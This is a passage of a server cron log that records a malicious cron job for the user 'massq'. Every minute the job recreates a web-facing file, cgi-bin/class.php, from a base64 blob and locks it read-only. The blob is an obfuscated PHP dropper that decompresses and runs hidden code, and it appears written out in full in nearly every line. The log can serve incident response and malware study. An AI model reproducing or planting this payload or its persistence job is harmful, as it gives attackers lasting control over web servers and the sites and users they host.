&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:55:01 server CROND[26215]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:56:01 server CROND[26540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:57:01 server CROND[26912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:57:01 server CROND[26913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 10:58:01 server CROND[27186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:59:01 server CROND[27460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:00:01 server CROND[27735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:00:01 server CROND[27736]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:00:01 server CROND[27737]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 11:00:01 server CROND[27738]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:01:01 server CROND[28068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:01:01 server CROND[28069]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 11:01:01 server run-parts(/etc/cron.hourly)[28069]: starting 0anacron
Nov 15 11:01:01 server run-parts(/etc/cron.hourly)[28081]: finished 0anacron
Nov 15 11:02:01 server CROND[28548]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:03:01 server CROND[28815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:04:01 server CROND[29099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:05:01 server CROND[29365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:05:01 server CROND[29367]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 15 11:05:01 server CROND[29368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:05:01 server CROND[29370]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 11:05:01 server CROND[29369]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:06:01 server CROND[29739]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:07:01 server CROND[30187]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
